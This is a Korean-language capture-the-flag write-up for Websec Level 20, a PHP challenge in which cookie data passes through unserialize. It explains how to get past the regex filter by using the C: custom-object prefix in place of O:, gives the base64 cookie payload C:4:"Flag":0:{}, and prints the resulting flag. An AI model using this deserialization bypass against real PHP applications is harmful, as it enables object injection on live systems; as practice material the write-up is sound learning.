Websec - Level 20 (풀이 봄)
Websec 20
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
include "flag.php";
class Flag {
public function __destruct() {
global $flag;
echo $flag;
}
}
function sanitize($data) {
/* i0n1c's bypass won't save you this time! (https://www.exploit-db.com/exploits/22547/) */
if ( ! preg_match ('/[A-Z]:/', $data)) {
return unserialize ($data);
}
if ( ! preg_match ('/(^|;|{|})O:[0-9+]+:"/', $data )) {
return unserialize ($data);
}
return false;
}
$data = Array();
if (isset ($_COOKIE['data'])) {
$data = sanitize (base64_decode ($_COOKIE['data']));
}
if (isset ($_POST['value']) and ! empty ($_POST['value'])) {
/* Add a value twice to remove it from the list. */
if (($key = array_search ($_POST['value'], $data)) !== false) {
unset ($data[$key]);
} else { /* Else, simply add it. */
array_push ($data, $_POST['value']);
}
setcookie ('data', base64_encode (serialize ($data)));
}
?>
<input name='value' id='value' class='form-control' type='text' placeholder='Item'>
Solution
코드를 보면 입력 값이 있을 때, 값이 처음 넣는 값이라면 data 배열에 추가를 하고 중복된 값을 넣는다면 그 값을 제거한다.
그 다음 data 배열을 serialize하여 base64 형태로 인코딩 한 값을 data 쿠키 값으로 설정한다.
- 입력 값으로 123
a:1:{i:0;s:3:"123";}
- 입력 값으로 abc
a:2:{i:0;s:3:"123";i:1;s:3:"abc";}
- 입력 값으로 123 -> 중복 입력
a:1:{i:1;s:3:"abc";}
우리는 Flag 객체의 소멸자를 실행시켜야 함. 그러려면 Flag 객체를 불러와야 함.
data 쿠키 값에 O:4:"Flag":0:{}
를 base64 encode를 해서 넣어주면 필터링 두 개 모두 다 걸려서 Level 4 때처럼 풀리지 않는다.
- unserialize에 관한 research가 있었음
- evonide.com/fuzzing-unserialize/
이 취약점은 websec 문제 중 하나에서 이미 다룬 문제여서 알고는 있었으나.. 위 링크에서 설명한 내용을 몰라서 못풀었다..
switch문을 보면 C와 O가 같은 곳으로 goto를 하게 됨. 또한 아래 심볼에 관한 설명을 보면 C는 custom object라고 함.
- 따라서 O 대신에 C를 이용하면 필터링을 피해서 Flag 객체를 호출할 수 있음.
C:4:"Flag":0:{}
- Flag
WEBSEC{CVE-2012-5692_was_a_lof_of_phun_thanks_to_i0n1c_but_this_was_not_the_only_bypass}
This post is licensed under CC BY 4.0 by the author.